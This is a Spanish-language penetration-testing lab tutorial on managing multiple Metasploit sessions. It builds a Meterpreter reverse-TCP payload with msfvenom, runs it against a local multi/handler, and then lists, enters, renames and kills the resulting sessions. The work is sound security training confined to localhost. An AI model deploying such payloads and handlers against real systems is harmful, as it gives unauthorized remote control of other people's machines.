Gestionar Múltiples Sesiones en Metasploit

Kali LinuxBeginner
Practicar Ahora

Introducción

En las pruebas de penetración, es común obtener acceso a múltiples sistemas simultáneamente. Metasploit Framework proporciona una forma potente de gestionar estas conexiones, conocidas como "sesiones". Una sesión es un enlace activo a un objetivo comprometido, que puede ser una shell de línea de comandos o una sesión avanzada de Meterpreter.

Gestionar eficazmente estas sesiones es una habilidad crítica. Le permite organizar su flujo de trabajo, cambiar entre objetivos sin problemas y mantener el control sobre sus activos comprometidos. En este laboratorio, aprenderá los comandos fundamentales para gestionar múltiples sesiones en Metasploit. Practicará cómo obtener sesiones, listarlas, interactuar con sesiones específicas, renombrarlas para una mejor organización y, finalmente, terminarlas limpiamente.

Obtener múltiples sesiones de Meterpreter o shell

En este paso, configurará un listener en Metasploit y luego ejecutará un payload para crear dos sesiones de Meterpreter separadas. Esto simula la obtención de acceso a dos sistemas diferentes.

Primero, abra una terminal e inicie la consola de Metasploit Framework. La opción -q hace que se inicie silenciosamente, sin mostrar el banner.

msfconsole -q

A continuación, configuraremos un listener genérico, llamado multi/handler, para esperar conexiones entrantes.

use multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set LHOST 127.0.0.1
set LPORT 4444

Ahora, ejecute el listener como un trabajo en segundo plano utilizando la opción -j. Esto mantiene el prompt de msfconsole disponible para otros comandos mientras el listener se ejecuta en segundo plano.

run -j

Debería ver una confirmación de que el handler se ha iniciado.

[*] Exploit running as background job 0.
[*] Started reverse TCP handler on 127.0.0.1:4444

Ahora, necesita generar y ejecutar el payload que se conectará a este listener. Abra una nueva segunda pestaña de terminal haciendo clic en el icono + en la ventana de la terminal.

En esta nueva terminal, use msfvenom para crear un payload. Este comando genera un archivo ejecutable ELF que, cuando se ejecuta, se conectará a nuestro listener.

msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=4444 -f elf -o ~/project/payload.elf

Haga que el archivo de payload generado sea ejecutable:

chmod +x ~/project/payload.elf

Ahora, ejecute el payload dos veces para crear dos sesiones. Las ejecutamos como procesos en segundo plano (&) para que pueda ejecutar el comando nuevamente de inmediato.

./payload.elf &
./payload.elf &

Vuelva a su primera ventana de terminal con msfconsole. Verá mensajes que indican que se han abierto dos sesiones de Meterpreter.

[*] Meterpreter session 1 opened (127.0.0.1:4444 -> 127.0.0.1:38998) at 2023-10-27 10:30:00 -0400
[*] Meterpreter session 2 opened (127.0.0.1:4444 -> 127.0.0.1:39000) at 2023-10-27 10:30:05 -0400

Ahora ha establecido con éxito dos sesiones activas.

Listar todas las sesiones activas con el comando sessions

En este paso, aprenderá a ver todas las sesiones activas que ha establecido. Con múltiples sesiones abiertas, necesita una forma de listarlas para ver a qué está conectado.

El comando sessions se utiliza para este propósito. En su terminal de msfconsole, simplemente escriba sessions para obtener una lista de todas las sesiones activas. La opción -l es un alias para list y hace lo mismo.

sessions

La salida será una tabla que contiene información sobre cada sesión:

Active sessions
===============

  Id  Name  Type                   Information              Connection
  --  ----  ----                   -----------              ----------
  1         meterpreter x64/linux  uid=1000, gid=1000, ...  127.0.0.1:4444 -> 127.0.0.1:38998 (...)
  2         meterpreter x64/linux  uid=1000, gid=1000, ...  127.0.0.1:4444 -> 127.0.0.1:39000 (...)

Esta tabla proporciona una visión general clara:

  • Id: Un número único para cada sesión, utilizado para interactuar con ella.
  • Name: Un nombre personalizado para la sesión (actualmente vacío).
  • Type: El tipo de sesión (por ejemplo, meterpreter, shell).
  • Information: Detalles sobre el sistema comprometido, como el ID de usuario.
  • Connection: Las direcciones IP y puertos de origen y destino.

Interactuar con una sesión específica usando sessions -i

En este paso, aprenderá a seleccionar e interactuar con una sesión específica de la lista.

Una vez que haya identificado la sesión con la que desea trabajar, puede usar el comando sessions con la opción -i (interactuar) seguida del ID de la sesión.

Interactuemos con la primera sesión (ID 1).

sessions -i 1

Su prompt de comando cambiará de msf6 > a meterpreter >, lo que indica que ahora está dentro de la sesión de Meterpreter y puede ejecutar comandos específicos de Meterpreter.

[*] Starting interaction with 1...

meterpreter >

Para confirmar que está en la sesión, ejecute un comando simple como sysinfo para obtener información del sistema del objetivo.

sysinfo

Verá una salida similar a esta:

Computer     : labex-virtual-machine
OS           : Ubuntu 22.04 (Linux 5.15.0-78-generic)
Architecture : x64
System Language: en_US
Meterpreter  : x64/linux

Después de terminar de trabajar dentro de una sesión, puede regresar al prompt principal de msfconsole sin terminar la sesión. Para hacer esto, use el comando background.

background

Esto pondrá la sesión en segundo plano y lo devolverá al prompt msf6 >, permitiéndole administrar otras sesiones.

[*] Backgrounding session 1...
msf6 exploit(multi/handler) >

Renombrar una sesión para una mejor organización usando sessions -n

En este paso, aprenderá a renombrar una sesión. Al administrar muchas sesiones, los nombres predeterminados no son descriptivos. Renombrar sesiones con etiquetas significativas (por ejemplo, "WebServer", "DBServer") las hace mucho más fáciles de identificar.

Puede renombrar una sesión usando el comando sessions con la opción -n (name). La sintaxis es sessions -n <NuevoNombre> <ID>.

Renombremos la sesión 2 a algo más descriptivo, como TestHost.

sessions -n TestHost 2

Metasploit confirmará que la sesión ha sido renombrada.

[*] Session 2's name has been changed to TestHost.

Ahora, liste las sesiones nuevamente para ver el cambio.

sessions

La tabla de salida ahora mostrará el nuevo nombre en la columna "Name" para la sesión 2.

Active sessions
===============

  Id  Name      Type                   Information              Connection
  --  ----      ----                   -----------              ----------
  1             meterpreter x64/linux  uid=1000, gid=1000, ...  127.0.0.1:4444 -> 127.0.0.1:38998 (...)
  2   TestHost  meterpreter x64/linux  uid=1000, gid=1000, ...  127.0.0.1:4444 -> 127.0.0.1:39000 (...)

Esto hace que sea mucho más fácil rastrear sus objetivos.

Terminar una sesión usando sessions -k

En este paso, aprenderá a terminar una sesión. Una vez que haya terminado su trabajo en un sistema objetivo o si una sesión ya no es necesaria, es una buena práctica cerrarla.

Para terminar, o matar, una sesión, use el comando sessions con la opción -k (kill), seguida del ID de la sesión.

Terminemos la sesión 1.

sessions -k 1

Metasploit confirmará que está deteniendo la sesión.

[*] Stopping session 1...
[*] 127.0.0.1 - Meterpreter session 1 closed.  Reason: User exit

Para verificar que la sesión ha sido terminada, liste las sesiones activas una vez más.

sessions

La salida ahora solo mostrará la sesión restante, TestHost.

Active sessions
===============

  Id  Name      Type                   Information              Connection
  --  ----      ----                   -----------              ----------
  2   TestHost  meterpreter x64/linux  uid=1000, gid=1000, ...  127.0.0.1:4444 -> 127.0.0.1:39000 (...)

Ha limpiado con éxito la sesión innecesaria.

Resumen

¡Felicitaciones por completar este laboratorio! Ha aprendido las habilidades esenciales para administrar múltiples sesiones dentro del Metasploit Framework.

En este laboratorio, practicó:

  • Creación de múltiples sesiones de Meterpreter utilizando un multi/handler y un payload.
  • Listado de todas las sesiones activas con el comando sessions.
  • Interacción con una sesión específica usando sessions -i <ID>.
  • Renombrado de una sesión para una mejor organización con sessions -n <Name> <ID>.
  • Terminación limpia de una sesión usando sessions -k <ID>.

Dominar estos comandos es fundamental para cualquier profesional de pruebas de penetración, ya que permite un control eficiente y organizado sobre múltiples sistemas comprometidos.